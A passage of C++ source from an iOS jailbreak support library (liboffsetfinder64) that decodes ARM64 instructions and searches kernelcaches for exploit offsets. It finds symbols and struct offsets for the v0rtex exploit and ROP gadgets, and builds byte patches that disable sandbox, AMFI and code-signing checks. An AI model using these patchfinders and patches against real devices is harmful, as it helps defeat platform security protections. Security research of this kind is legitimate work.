return (BIT_RANGE(i, 23, 30) == 0b10100101);
}
bool insn::is_bcond(uint32_t i){
return (BIT_RANGE(i, 24, 31) == 0b01010100) && !BIT_AT(i, 4);
}
bool insn::is_b(uint32_t i){
return (BIT_RANGE(i, 26, 31) == 0b000101);
}
bool insn::is_nop(uint32_t i){
return (BIT_RANGE(i, 12, 31) == 0b11010101000000110010) && (0b11111 % (1<<5));
}
enum insn::type insn::type(){
uint32_t val = value();
if (is_adrp(val))
return adrp;
else if (is_adr(val))
return adr;
else if (is_add(val))
return add;
else if (is_bl(val))
return bl;
else if (is_cbz(val))
return cbz;
else if (is_ret(val))
return ret;
else if (is_tbnz(val))
return tbnz;
else if (is_br(val))
return br;
else if (is_ldr(val))
return ldr;
else if (is_cbnz(val))
return cbnz;
else if (is_movk(val))
return movk;
else if (is_orr(val))
return orr;
else if (is_and(val))
return and_;
else if (is_tbz(val))
return tbz;
else if (is_ldxr(val))
return ldxr;
else if (is_ldrb(val))
return ldrb;
else if (is_str(val))
return str;
else if (is_stp(val))
return stp;
else if (is_movz(val))
return movz;
else if (is_bcond(val))
return bcond;
else if (is_b(val))
return b;
else if (is_nop(val))
return nop;
return unknown;
}
enum insn::subtype insn::subtype(){
uint32_t i = value();
if (is_ldr(i)) {
if ((((i>>22) | (1 << 8)) == 0b1111100001) && BIT_RANGE(i, 10, 11) == 0b10)
return st_register;
else if (i>>31)
return st_immediate;
else
return st_literal;
}else if (is_ldrb(i)){
if (BIT_RANGE(i, 21, 31) == 0b00111000011 && BIT_RANGE(i, 10, 11) == 0b10)
return st_register;
else
return st_immediate;
}
return st_general;
}
enum insn::supertype insn::supertype(){
switch (type()) {
case bl:
case cbz:
case cbnz:
case tbnz:
case bcond:
case b:
return sut_branch_imm;
default:
return sut_general;
}
}
#pragma mark register
int64_t insn::imm(){
switch (type()) {
case unknown:
reterror("can't get imm value of unknown instruction");
break;
case adrp:
return ((pc()>>12)<<12) + signExtend64(((((value() % (1<<24))>>5)<<2) | BIT_RANGE(value(), 29, 30))<<12,32);
case adr:
return pc() + signExtend64((BIT_RANGE(value(), 5, 23)<<2) | (BIT_RANGE(value(), 29, 30)), 21);
case add:
return BIT_RANGE(value(), 10, 21) << (((value()>>22)&1) * 12);
case bl:
return pc() + (signExtend64(value() % (1<<26), 25) << 2); //untested
case cbz:
case cbnz:
case tbnz:
case bcond:
return pc() + (signExtend64(BIT_RANGE(value(), 5, 23), 19)<<2); //untested
case movk:
case movz:
return BIT_RANGE(value(), 5, 20);
case ldr:
if(subtype() != st_immediate){
reterror("can't get imm value of ldr that has non immediate subtype");
break;
}
if(BIT_RANGE(value(), 24, 25)){
// Unsigned Offset
return BIT_RANGE(value(), 10, 21) << (value()>>30);
}else{
// Signed Offset
return signExtend64(BIT_RANGE(value(), 12, 21), 9); //untested
}
case ldrb:
if (st_immediate) {
if (BIT_RANGE(value(), 22, 31) == 0b0011100101) { //unsigned
return BIT_RANGE(value(), 10, 21) << BIT_RANGE(value(), 30, 31);
}else{ //pre/post indexed
return BIT_RANGE(value(), 12, 20) << BIT_RANGE(value(), 30, 31);
}
}else{
reterror("ldrb must be st_immediate for imm to be defined!");
}
case str:
//#warning TODO rewrite this! currently only unsigned offset supported
// Unsigned Offset
return BIT_RANGE(value(), 10, 21) << (value()>>30);
case orr:
return DecodeBitMasks(BIT_AT(value(), 22),BIT_RANGE(value(), 10, 15),BIT_RANGE(value(), 16,21), true).first;
case and_:
{
int64_t val = DecodeBitMasks(BIT_AT(value(), 22),BIT_RANGE(value(), 10, 15),BIT_RANGE(value(), 16,21), true).first;
if (!BIT_AT(value(), 31))
val |= (((uint64_t)1<<32)-1) << 32;
return val;
}
case tbz:
return BIT_RANGE(value(), 5, 18);
case stp:
return signExtend64(BIT_RANGE(value(), 15, 21),7) << (2+(value()>>31));
case b:
return pc() + ((value() % (1<< 26))<<2);
default:
reterror("failed to get imm value");
break;
}
return 0;
}
uint8_t insn::rd(){
switch (type()) {
case unknown:
reterror("can't get rd of unknown instruction");
break;
case adrp:
case adr:
case add:
case movk:
case orr:
case and_:
case movz:
return (value() % (1<<5));
default:
reterror("failed to get rd");
break;
}
}
uint8_t insn::rn(){
switch (type()) {
case unknown:
reterror("can't get rn of unknown instruction");
break;
case add:
case ret:
case br:
case orr:
case and_:
case ldxr:
case ldrb:
case str:
case ldr:
case stp:
return BIT_RANGE(value(), 5, 9);
default:
reterror("failed to get rn");
break;
}
}
uint8_t insn::rt(){
switch (type()) {
case unknown:
reterror("can't get rt of unknown instruction");
break;
case cbz:
case cbnz:
case tbnz:
case tbz:
case ldxr:
case ldrb:
case str:
case ldr:
case stp:
return (value() % (1<<5));
default:
reterror("failed to get rt");
break;
}
}
uint8_t insn::other(){
switch (type()) {
case unknown:
reterror("can't get other of unknown instruction");
break;
case tbz:
return ((value() >>31) << 5) | BIT_RANGE(value(), 19, 23);
case stp:
return BIT_RANGE(value(), 10, 14); //Rt2
case bcond:
return 0; //condition
case ldrb:
if (subtype() == st_register)
reterror("ERROR: unimplemented!");
else
reterror("ldrb must be st_register for this to be defined!");
default:
reterror("failed to get other");
break;
}
}
#pragma mark cast operators
insn::operator void*(){
return (void*)(_p.first - _segments[_p.second].base + _segments[_p.second].map);
}
insn::operator loc_t(){
return (loc_t)pc();
}
insn::operator enum type(){
return type();
}
#pragma mark additional functions
loc_t tihmstar::patchfinder64::find_literal_ref(segment_t segemts, loc_t pos, int ignoreTimes){
insn adrp(segemts);
uint8_t rd = 0xff;
uint64_t imm = 0;
try {
for (;;++adrp){
if (adrp == insn::adr) {
if (adrp.imm() == (uint64_t)pos){
if (ignoreTimes) {
ignoreTimes--;
rd = 0xff;
imm = 0;
continue;
}
return (loc_t)adrp.pc();
}
}else if (adrp == insn::adrp) {
rd = adrp.rd();
imm = adrp.imm();
}else if (adrp == insn::add && rd == adrp.rd()){
if (imm + adrp.imm() == (int64_t)pos){
if (ignoreTimes) {
ignoreTimes--;
rd = 0xff;
imm = 0;
continue;
}
return (loc_t)adrp.pc();
}
}
}
} catch (std::out_of_range &e) {
return 0;
}
return 0;
}
loc_t tihmstar::patchfinder64::find_rel_branch_source(insn bdst, bool searchUp, int ignoreTimes, int limit){
insn bsrc(bdst);
bool hasLimit = (limit);
while (true) {
if (searchUp){
while ((--bsrc).supertype() != insn::sut_branch_imm){
if (hasLimit && !limit--) {
return 0;
}
}
}else{
while ((++bsrc).supertype() != insn::sut_branch_imm){
if (hasLimit && !limit--) {
return 0;
}
}
}
if (bsrc.imm() == bdst.pc()) {
if (ignoreTimes) {
ignoreTimes--;
continue;
}
return (loc_t)bsrc.pc();
}
}
//this return is never reached
return 0;
}
@@ -0,0 +1,143 @@
//
// insn.hpp
// liboffsetfinder64
//
// Created by tihmstar on 09.03.18.
// Copyright © 2018 tihmstar. All rights reserved.
//
#ifndef insn_hpp
#define insn_hpp
#include "common.h"
#include <vector>
namespace tihmstar{
namespace patchfinder64{
class insn{
public:
enum segtype{
kText_only,
kData_only,
kText_and_Data
};
private:
std::pair <loc_t,int> _p;
std::vector<text_t> _segments;
segtype _segtype;
public:
insn(segment_t segments, loc_t p = 0, segtype segType = kText_only);
insn(const insn &cpy, loc_t p=0);
insn &operator++();
insn &operator--();
insn operator+(int i);
insn operator-(int i);
insn &operator+=(int i);
insn &operator-=(int i);
insn &operator=(loc_t p);
public: //helpers
uint64_t pc();
uint32_t value();
uint64_t doublevalue();
public: //static type determinition
static uint64_t deref(segment_t segments, loc_t p);
static bool is_adrp(uint32_t i);
static bool is_adr(uint32_t i);
static bool is_add(uint32_t i);
static bool is_bl(uint32_t i);
static bool is_cbz(uint32_t i);
static bool is_ret(uint32_t i);
static bool is_tbnz(uint32_t i);
static bool is_br(uint32_t i);
static bool is_ldr(uint32_t i);
static bool is_cbnz(uint32_t i);
static bool is_movk(uint32_t i);
static bool is_orr(uint32_t i);
static bool is_and(uint32_t i);
static bool is_tbz(uint32_t i);
static bool is_ldxr(uint32_t i);
static bool is_ldrb(uint32_t i);
static bool is_str(uint32_t i);
static bool is_stp(uint32_t i);
static bool is_movz(uint32_t i);
static bool is_bcond(uint32_t i);
static bool is_b(uint32_t i);
static bool is_nop(uint32_t i);
public: //type
enum type{
unknown,
adrp,
adr,
bl,
cbz,
ret,
tbnz,
add,
br,
ldr,
cbnz,
movk,
orr,
tbz,
ldxr,
ldrb,
str,
stp,
movz,
bcond,
b,
nop,
and_
};
enum subtype{
st_general,
st_register,
st_immediate,
st_literal
};
enum supertype{
sut_general,
sut_branch_imm
};
enum cond{
NE = 000,
EG = 000,
CS = 001,
CC = 001,
MI = 010,
PL = 010,
VS = 011,
VC = 011,
HI = 100,
LS = 100,
GE = 101,
LT = 101,
GT = 110,
LE = 110,
AL = 111
};
type type();
subtype subtype();
supertype supertype();
int64_t imm();
uint8_t rd();
uint8_t rn();
uint8_t rt();
uint8_t other();
public: //cast operators
operator void*();
operator loc_t();
operator enum type();
};
loc_t find_literal_ref(segment_t segemts, loc_t pos, int ignoreTimes = 0);
loc_t find_rel_branch_source(insn bdst, bool searchUp, int ignoreTimes=0, int limit = 0);
};
};
#endif /* insn_hpp */
@@ -0,0 +1,1210 @@
//
// offsetfinder64.cpp
// offsetfinder64
//
// Created by tihmstar on 10.01.18.
// Copyright © 2018 tihmstar. All rights reserved.
//
#include "liboffsetfinder64.hpp"
#define LOCAL_FILENAME "liboffsetfinder.cpp"
#include "all_liboffsetfinder.hpp"
extern "C"{
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include "img4.h"
}
using namespace std;
using namespace tihmstar;
using namespace patchfinder64;
#pragma mark liboffsetfinder
#define HAS_BITS(a,b) (((a) & (b)) == (b))
#define _symtab getSymtab()
#define findstr(str,hasNullTerminator) memmem(str, sizeof(str)-(hasNullTerminator == 0))
#pragma mark macho external
__attribute__((always_inline)) struct load_command *find_load_command64(struct mach_header_64 *mh, uint32_t lc){
struct load_command *lcmd = (struct load_command *)(mh + 1);
for (uint32_t i=0; i<mh->ncmds; i++, lcmd = (struct load_command *)((uint8_t *)lcmd + lcmd->cmdsize)) {
if (lcmd->cmd == lc)
return lcmd;
}
retcustomerror(lc,load_command_not_found);
return NULL;
}
__attribute__((always_inline)) struct symtab_command *find_symtab_command(struct mach_header_64 *mh){
return (struct symtab_command *)find_load_command64(mh, LC_SYMTAB);
}
__attribute__((always_inline)) struct dysymtab_command *find_dysymtab_command(struct mach_header_64 *mh){
return (struct dysymtab_command *)find_load_command64(mh, LC_DYSYMTAB);
}
__attribute__((always_inline)) struct section_64 *find_section(struct segment_command_64 *seg, const char *sectname){
struct section_64 *sect = (struct section_64 *)(seg + 1);
for (uint32_t i=0; i<seg->nsects; i++, sect++) {
if (strcmp(sect->sectname, sectname) == 0)
return sect;
}
reterror("Failed to find section "+ string(sectname));
return NULL;
}
offsetfinder64::offsetfinder64(const char* filename, uint64_t kslide, tristate haveSymbols) :
_freeKernel(true),
__symtab(NULL),
_kslide(kslide),
_haveSymtab(haveSymbols)
{
struct stat fs = {0};
int fd = 0;
char *img4tmp = NULL;
auto clean =[&]{
if (fd>0) close(fd);
};
assure((fd = open(filename, O_RDONLY)) != -1);
assureclean(!fstat(fd, &fs));
assureclean((_kdata = (uint8_t*)malloc( _ksize = fs.st_size)));
assureclean(read(fd,_kdata,_ksize)==_ksize);
//check if feedfacf, fat, compressed (lzfse/lzss), img4, im4p
img4tmp = (char*)_kdata;
if (sequenceHasName(img4tmp, (char*)"IMG4")){
img4tmp = getElementFromIMG4((char*)_kdata, (char*)"IM4P");
}
if (sequenceHasName(img4tmp, (char*)"IM4P")){
char *extracted = NULL;
{
size_t klen;
const char* compname;
extracted = extractPayloadFromIM4P(img4tmp, &compname, &klen);
if (compname) {
//printf("%s comp detected, uncompressing : %s ...\n", compname, extracted ? "success" : "failure");
}
}
if (extracted != NULL) {
free(_kdata);
_kdata = (uint8_t*)extracted;
}
}
if (*(uint32_t*)_kdata == 0xbebafeca || *(uint32_t*)_kdata == 0xcafebabe) {
bool swap = *(uint32_t*)_kdata == 0xbebafeca;
uint8_t* tryfat = [=]() -> uint8_t* {
// just select first slice
uint32_t* kdata32 = (uint32_t*) _kdata;
uint32_t narch = kdata32[1];
if (swap) narch = ntohl(narch);
if (narch != 1) {
printf("expected 1 arch in fat file, got %u\n", narch);
return NULL;
}
uint32_t offset = kdata32[2 + 2];
if (swap) offset = ntohl(offset);
if (offset != sizeof(uint32_t)*(2 + 5)) {
printf("wat, file offset not sizeof(fat_header) + sizeof(fat_arch)?!\n");
}
uint32_t filesize = kdata32[2 + 3];
if (swap) filesize = ntohl(filesize);
uint8_t *ret = (uint8_t*) malloc(filesize);
if (ret != NULL) {
memcpy(ret, _kdata + offset, filesize);
}
return ret;
}();
if (tryfat != NULL) {
printf("got fat macho with first slice at %u\n", (uint32_t) (tryfat - _kdata));
free(_kdata);
_kdata = tryfat;
} else {
printf("got fat macho but failed to parse\n");
}
}
assureclean(*(uint32_t*)_kdata == 0xfeedfacf);
loadSegments();
clean();
}
void offsetfinder64::loadSegments(){
struct mach_header_64 *mh = (struct mach_header_64*)_kdata;
struct load_command *lcmd = (struct load_command *)(mh + 1);
for (uint32_t i=0; i<mh->ncmds; i++, lcmd = (struct load_command *)((uint8_t *)lcmd + lcmd->cmdsize)) {
if (lcmd->cmd == LC_SEGMENT_64){
struct segment_command_64* seg = (struct segment_command_64*)lcmd;
_segments.push_back({_kdata+seg->fileoff,seg->filesize, (loc_t)seg->vmaddr, (seg->maxprot & VM_PROT_EXECUTE) !=0});
if (i==0){
_kernel_base = _segments.back().base; //first segment is base. Is this correct??
}
}
if (lcmd->cmd == LC_UNIXTHREAD) {
uint32_t *ptr = (uint32_t *)(lcmd + 1);
uint32_t flavor = ptr[0];
struct _tread{
uint64_t x[29]; /* General purpose registers x0-x28 */
uint64_t fp; /* Frame pointer x29 */
uint64_t lr; /* Link register x30 */
uint64_t sp; /* Stack pointer x31 */
uint64_t pc; /* Program counter */
uint32_t cpsr; /* Current program status register */
} *thread = (struct _tread*)(ptr + 2);
if (flavor == 6) {
_kernel_entry = (patchfinder64::loc_t)(thread->pc);
}
}
}
try {
deref(_kernel_entry);
//info("Detected non-slid kernel.");
_kernelIsSlid = false;
} catch (tihmstar::out_of_range &e) {
info("Detected slid kernel. Using kernelslide=%p",(void*)_kslide);
_kernel_entry += _kslide;
_kernelIsSlid = true;
}
try {
deref(_kernel_entry);
} catch (tihmstar::out_of_range &e) {
reterror("Error occured when handling kernel entry checks");
}
//info("Inited offsetfinder64 %s %s",OFFSETFINDER64_VERSION_COMMIT_COUNT, OFFSETFINDER64_VERSION_COMMIT_SHA);
try {
getSymtab();
} catch (tihmstar::symtab_not_found &e) {
info("Symtab not found. Assuming we are operating on a dumped kernel");
}
//printf("\n");
}
offsetfinder64::offsetfinder64(void* buf, size_t size, uint64_t kslide, tristate haveSymbols) :
_freeKernel(false),
_kdata((uint8_t*)buf),
_ksize(size),
__symtab(NULL),
_kslide(kslide),
_haveSymtab(haveSymbols)
{
loadSegments();
}
const void *offsetfinder64::kdata(){
return _kdata;
}
loc_t offsetfinder64::find_entry(){
return _kernel_entry;
}
loc_t offsetfinder64::find_base(){
return _kernel_base;
}
bool offsetfinder64::haveSymbols(){
if (_haveSymtab == kuninitialized) {
try {
getSymtab();
_haveSymtab = ktrue;
} catch (tihmstar::symtab_not_found &e) {
_haveSymtab = kfalse;
}
}
return _haveSymtab;
}
#pragma mark macho offsetfinder
__attribute__((always_inline)) struct symtab_command *offsetfinder64::getSymtab(){
if (!__symtab){
try {
__symtab = find_symtab_command((struct mach_header_64 *)_kdata);
} catch (tihmstar::load_command_not_found &e) {
if (e.cmd() != LC_SYMTAB)
throw;
retcustomerror("symtab not found. Is this a dumped kernel?", symtab_not_found);
}
}
return __symtab;
}
#pragma mark offsetfidner
loc_t offsetfinder64::memmem(const void *little, size_t little_len){
for (auto seg : _segments) {
if (loc_t rt = (loc_t)::memmem(seg.map, seg.size, little, little_len)) {
return rt-seg.map+seg.base;
}
}
return 0;
}
uint64_t offsetfinder64::deref(loc_t pos){
return insn::deref(_segments,pos);
}
loc_t offsetfinder64::find_sym(const char *sym){
uint8_t *psymtab = _kdata + _symtab->symoff;
uint8_t *pstrtab = _kdata + _symtab->stroff;
struct nlist_64 *entry = (struct nlist_64 *)psymtab;
for (uint32_t i = 0; i < _symtab->nsyms; i++, entry++)
if (!strcmp(sym, (char*)(pstrtab + entry->n_un.n_strx)))
return (loc_t)entry->n_value;
return 0;
}
loc_t offsetfinder64::find_syscall0(){
constexpr char sig_syscall_3[] = "\x06\x00\x00\x00\x03\x00\x0c\x00";
loc_t sys3 = memmem(sig_syscall_3, sizeof(sig_syscall_3)-1);
return sys3 - (3 * 0x18) + 0x8;
}
#pragma mark patchfinder64
namespace tihmstar{
namespace patchfinder64{
loc_t jump_stub_call_ptr_loc(insn bl_insn){
assure(bl_insn == insn::bl);
insn fdst(bl_insn,(loc_t)bl_insn.imm());
insn ldr((fdst+1));
if (!((fdst == insn::adrp && ldr == insn::ldr && (fdst+2) == insn::br))) {
retcustomerror("branch destination not jump_stub_call", bad_branch_destination);
}
return (loc_t)fdst.imm() + ldr.imm();
}
bool is_call_to_jump_stub(insn bl_insn){
try {
jump_stub_call_ptr_loc(bl_insn);
return true;
} catch (tihmstar::bad_branch_destination &e) {
return false;
}
}
}
}
#pragma mark common patchs
constexpr char patch_nop[] = "\x1F\x20\x03\xD5";
constexpr size_t patch_nop_size = sizeof(patch_nop)-1;
uint64_t offsetfinder64::find_register_value(loc_t where, int reg, loc_t startAddr){
insn functop(_segments, where);
if (!startAddr) {
//might be functop
//good enough for my purpose
while (--functop != insn::stp || (functop+1) != insn::stp || (functop+2) != insn::stp);
}else{
functop = startAddr;
}
uint64_t value[32] = {0};
for (;(loc_t)functop.pc() < where;++functop) {
switch (functop.type()) {
case patchfinder64::insn::adrp:
value[functop.rd()] = functop.imm();
// printf("%p: ADRP X%d, 0x%llx\n", (void*)functop.pc(), functop.rd(), functop.imm());
break;
case patchfinder64::insn::add:
value[functop.rd()] = value[functop.rn()] + functop.imm();
// printf("%p: ADD X%d, X%d, 0x%llx\n", (void*)functop.pc(), functop.rd(), functop.rn(), (uint64_t)functop.imm());
break;
case patchfinder64::insn::adr:
value[functop.rd()] = functop.imm();
// printf("%p: ADR X%d, 0x%llx\n", (void*)functop.pc(), functop.rd(), functop.imm());
break;
case patchfinder64::insn::ldr:
// printf("%p: LDR X%d, [X%d, 0x%llx]\n", (void*)functop.pc(), functop.rt(), functop.rn(), (uint64_t)functop.imm());
value[functop.rt()] = value[functop.rn()] + functop.imm(); // XXX address, not actual value
break;
default:
break;
}
}
return value[reg];
}
#pragma mark v0rtex
loc_t offsetfinder64::find_zone_map(){
loc_t str = findstr("zone_init",true);
retassure(str, "Failed to find str");
loc_t ref = find_literal_ref(_segments, str);
retassure(ref, "literal ref to str");
insn ptr(_segments,ref);
loc_t ret = 0;
while (++ptr != insn::adrp);
ret = (loc_t)ptr.imm();
while (++ptr != insn::add);
ret += ptr.imm();
return ret;
}
loc_t offsetfinder64::find_kernel_map(){
return find_sym("_kernel_map");
}
loc_t offsetfinder64::find_kernel_task(){
return find_sym("_kernel_task");
}
loc_t offsetfinder64::find_realhost(){
loc_t sym = find_sym("_KUNCExecute");
insn ptr(_segments,sym);
loc_t ret = 0;
while (++ptr != insn::adrp);
ret = (loc_t)ptr.imm();
while (++ptr != insn::add);
ret += ptr.imm();
return ret;
}
loc_t offsetfinder64::find_bzero(){
return find_sym("___bzero");
}
loc_t offsetfinder64::find_bcopy(){
return find_sym("_bcopy");
}
loc_t offsetfinder64::find_copyout(){
return find_sym("_copyout");
}
loc_t offsetfinder64::find_copyin(){
return find_sym("_copyin");
}
loc_t offsetfinder64::find_ipc_port_alloc_special(){
loc_t sym = find_sym("_KUNCGetNotificationID");
insn ptr(_segments,sym);
while (++ptr != insn::bl);
while (++ptr != insn::bl);
return (loc_t)ptr.imm();
}
loc_t offsetfinder64::find_ipc_kobject_set(){
loc_t sym = find_sym("_KUNCGetNotificationID");
insn ptr(_segments,sym);
while (++ptr != insn::bl);
while (++ptr != insn::bl);
while (++ptr != insn::bl);
return (loc_t)ptr.imm();
}
loc_t offsetfinder64::find_ipc_port_make_send(){
loc_t sym = find_sym("_convert_task_to_port");
insn ptr(_segments,sym);
while (++ptr != insn::bl);
while (++ptr != insn::bl);
return (loc_t)ptr.imm();
}
loc_t offsetfinder64::find_chgproccnt(){
loc_t str = findstr("\"chgproccnt: lost user\"",true);
retassure(str, "Failed to find str");
loc_t ref = find_literal_ref(_segments, str);
retassure(ref, "literal ref to str");
insn functop(_segments,ref);
while (--functop != insn::stp);
while (--functop == insn::stp);
++functop;
return (loc_t)functop.pc();
}
loc_t offsetfinder64::find_kauth_cred_ref(){
return find_sym("_kauth_cred_ref");
}
loc_t offsetfinder64::find_osserializer_serialize(){
return find_sym("__ZNK12OSSerializer9serializeEP11OSSerialize");
}
uint32_t offsetfinder64::find_vtab_get_external_trap_for_index(){
loc_t sym = find_sym("__ZTV12IOUserClient");
sym += 2*sizeof(uint64_t);
loc_t nn = find_sym("__ZN12IOUserClient23getExternalTrapForIndexEj");
insn data(_segments,sym,insn::kText_and_Data);
--data;
for (int i=0; i<0x200; i++) {
if ((++data).doublevalue() == (uint64_t)nn)
return i;
++data;
}
return 0;
}
uint32_t offsetfinder64::find_vtab_get_retain_count(){
loc_t sym = find_sym("__ZTV12IOUserClient");
sym += 2*sizeof(uint64_t);
loc_t nn = find_sym("__ZNK8OSObject14getRetainCountEv");
insn data(_segments,sym,insn::kText_and_Data);
--data;
for (int i=0; i<0x200; i++) {
if ((++data).doublevalue() == (uint64_t)nn)
return i;
++data;
}
return 0;
}
uint32_t offsetfinder64::find_proc_ucred(){
loc_t sym = find_sym("_proc_ucred");
return (uint32_t)insn(_segments,sym).imm();
}
uint32_t offsetfinder64::find_task_bsd_info(){
loc_t sym = find_sym("_get_bsdtask_info");
return (uint32_t)insn(_segments,sym).imm();
}
uint32_t offsetfinder64::find_vm_map_hdr(){
loc_t sym = find_sym("_vm_map_create");
insn stp(_segments, sym);
while (++stp != insn::bl);
while (++stp != insn::cbz && stp != insn::cbnz);
while (++stp != insn::stp || stp.rt() != stp.other());
return (uint32_t)stp.imm();
}
typedef struct mig_subsystem_struct {
uint32_t min;
uint32_t max;
char *names;
} mig_subsys;
mig_subsys task_subsys ={ 0xd48, 0xd7a , NULL};
uint32_t offsetfinder64::find_task_itk_self(){
loc_t task_subsystem=memmem(&task_subsys, 4);
assure(task_subsystem);
task_subsystem += 4*sizeof(uint64_t); //index0 now
insn mach_ports_register(_segments, (loc_t)insn::deref(_segments, task_subsystem+3*5*8));
while (++mach_ports_register != insn::bl || mach_ports_register.imm() != (uint64_t)find_sym("_lck_mtx_lock"));
insn ldr(mach_ports_register);
while (++ldr != insn::ldr || (ldr+1) != insn::cbz);
return (uint32_t)ldr.imm();
}
uint32_t offsetfinder64::find_task_itk_registered(){
loc_t task_subsystem=memmem(&task_subsys, 4);
assure(task_subsystem);
task_subsystem += 4*sizeof(uint64_t); //index0 now
insn mach_ports_register(_segments, (loc_t)insn::deref(_segments, task_subsystem+3*5*8));
while (++mach_ports_register != insn::bl || mach_ports_register.imm() != (uint64_t)find_sym("_lck_mtx_lock"));
insn ldr(mach_ports_register);
while (++ldr != insn::ldr || (ldr+1) != insn::cbz);
while (++ldr != insn::ldr);
return (uint32_t)ldr.imm();
}
//IOUSERCLIENT_IPC
mig_subsys host_priv_subsys = { 400, 426 } ;
uint32_t offsetfinder64::find_iouserclient_ipc(){
loc_t host_priv_subsystem=memmem(&host_priv_subsys, 8);
assure(host_priv_subsystem);
insn memiterator(_segments,host_priv_subsystem,insn::kData_only);
loc_t thetable = 0;
while (1){
--memiterator;--memiterator; //dec 8 byte
struct _anon{
uint64_t ptr;
uint64_t z0;
uint64_t z1;
uint64_t z2;
} *obj = (struct _anon*)(void*)memiterator;
if (!obj->z0 && !obj->z1 &&
!memcmp(&obj[0], &obj[1], sizeof(struct _anon)) &&
!memcmp(&obj[0], &obj[2], sizeof(struct _anon)) &&
!memcmp(&obj[0], &obj[3], sizeof(struct _anon)) &&
!memcmp(&obj[0], &obj[4], sizeof(struct _anon)) &&
!obj[-1].ptr && obj[-1].z0 == 1 && !obj[-1].z1) {
thetable = (loc_t)memiterator.pc();
break;
}
}
loc_t iokit_user_client_trap_func = (loc_t)insn::deref(_segments, thetable + 100*4*8 - 8);
insn bl_to_iokit_add_connect_reference(_segments,iokit_user_client_trap_func);
while (++bl_to_iokit_add_connect_reference != insn::bl);
insn iokit_add_connect_reference(bl_to_iokit_add_connect_reference,(loc_t)bl_to_iokit_add_connect_reference.imm());
while (++iokit_add_connect_reference != insn::add || iokit_add_connect_reference.rd() != 8 || ++iokit_add_connect_reference != insn::ldxr || iokit_add_connect_reference.rn() != 8);
return (uint32_t)((--iokit_add_connect_reference).imm());
}
uint32_t offsetfinder64::find_ipc_space_is_task_11(){
loc_t str = findstr("\"ipc_task_init\"",true);
retassure(str, "Failed to find str");
loc_t ref = find_literal_ref(_segments, str,1);
retassure(ref, "literal ref to str");
insn istr(_segments,ref);
while (--istr != insn::str);
return (uint32_t)istr.imm();
}
uint32_t offsetfinder64::find_ipc_space_is_task(){
loc_t str = findstr("\"ipc_task_init\"",true);
retassure(str, "Failed to find str");
loc_t ref = find_literal_ref(_segments, str);
retassure(ref, "literal ref to str");
loc_t bref = 0;
bool do_backup_plan = false;
bref = find_rel_branch_source(insn(_segments,ref), true, 2, 0x2000);
if (bref == 0) {
//previous attempt doesn't work on some 10.0.2 devices, trying something else...
do_backup_plan = bref = find_rel_branch_source(insn(_segments,ref), true, 1, 0x2000);
if (bref == 0) {
//this seems to be good for iOS 9.3.3
do_backup_plan = bref = find_rel_branch_source(insn(_segments,ref-4), true, 1, 0x2000);
if (bref == 0) {
//this is for iOS 11(.2.6)
return find_ipc_space_is_task_11();
}
}
}
insn istr(_segments,bref);
if (!do_backup_plan) {
while (++istr != insn::str);
}else{
while (--istr != insn::str);
}
return (uint32_t)istr.imm();
}
uint32_t offsetfinder64::find_sizeof_task(){
loc_t str = findstr("\0tasks",true)+1;
retassure(str, "Failed to find str");
loc_t ref = find_literal_ref(_segments, str);
retassure(ref, "literal ref to str");
insn thebl(_segments, ref);
loc_t zinit = 0;
zinit = find_sym("_zinit");
if (zinit == 0) {
loc_t str = findstr("zlog%d",true);
retassure(str, "Failed to find str2");
loc_t ref = find_literal_ref(_segments, str);
retassure(ref, "literal ref to str2");
insn functop(_segments,ref);
while (--functop != insn::stp || (functop+1) != insn::stp || (functop+2) != insn::stp || (functop-1) != insn::ret);
zinit = (loc_t)functop.pc();
}
while (++thebl != insn::bl || (loc_t)thebl.imm() != zinit);
--thebl;
return (uint32_t)thebl.imm();
}
loc_t offsetfinder64::find_rop_add_x0_x0_0x10(){
constexpr char ropbytes[] = "\x00\x40\x00\x91\xC0\x03\x5F\xD6";
return [](const void *little, size_t little_len, vector<text_t>segments)->loc_t{
for (auto seg : segments) {
if (!seg.isExec)
continue;
if (loc_t rt = (loc_t)::memmem(seg.map, seg.size, little, little_len)) {
return rt-seg.map+seg.base;
}
}
return 0;
}(ropbytes,sizeof(ropbytes)-1,_segments);
}
loc_t offsetfinder64::find_rop_ldr_x0_x0_0x10(){
constexpr char ropbytes[] = "\x00\x08\x40\xF9\xC0\x03\x5F\xD6";
return [](const void *little, size_t little_len, vector<text_t>segments)->loc_t{
for (auto seg : segments) {
if (!seg.isExec)
continue;
if (loc_t rt = (loc_t)::memmem(seg.map, seg.size, little, little_len)) {
return rt-seg.map+seg.base;
}
}
return 0;
}(ropbytes,sizeof(ropbytes)-1,_segments);
}
loc_t offsetfinder64::find_exec(std::function<bool(patchfinder64::insn &i)>cmpfunc){
insn i(_segments);
while (true) {
if (cmpfunc(i))
return i;
try {
++i;
} catch (out_of_range &e) {
break;
}
}
return 0;
}
#pragma mark patch_finders
void slide_ptr(class patch *p,uint64_t slide){
slide += *(uint64_t*)p->_patch;
memcpy((void*)p->_patch, &slide, 8);
}
patch offsetfinder64::find_sandbox_patch(){
loc_t str = findstr("process-exec denied while updating label",false);
retassure(str, "Failed to find str");
loc_t ref = find_literal_ref(_segments, str);
retassure(ref, "literal ref to str");
insn bdst(_segments, ref);
for (int i=0; i<4; i++) {
while (--bdst != insn::bl){
}
}
--bdst;
loc_t cbz = find_rel_branch_source(bdst, true);
return patch(cbz, patch_nop, patch_nop_size);
}
patch offsetfinder64::find_amfi_substrate_patch(){
loc_t str = findstr("AMFI: hook..execve() killing pid %u: %s",false);
retassure(str, "Failed to find str");
loc_t ref = find_literal_ref(_segments, str);
retassure(ref, "literal ref to str");
insn funcend(_segments, ref);
while (++funcend != insn::ret);
insn tbnz(funcend);
while (--tbnz != insn::tbnz);
constexpr char mypatch[] = "\x1F\x20\x03\xD5\x08\x79\x16\x12\x1F\x20\x03\xD5\x00\x00\x80\x52\xE9\x01\x80\x52";
return {(loc_t)tbnz.pc(),mypatch,sizeof(mypatch)-1};
}
patch offsetfinder64::find_cs_enforcement_disable_amfi(){
loc_t str = findstr("csflags",true);
retassure(str, "Failed to find str");
loc_t ref = find_literal_ref(_segments, str);
retassure(ref, "literal ref to str");
insn cbz(_segments, ref);
while (--cbz != insn::cbz);
insn movz(cbz);
while (++movz != insn::movz);
--movz;
int anz = static_cast<int>((movz.pc()-cbz.pc())/4 +1);
char mypatch[anz*4];
for (int i=0; i<anz; i++) {
((uint32_t*)mypatch)[i] = *(uint32_t*)patch_nop;
}
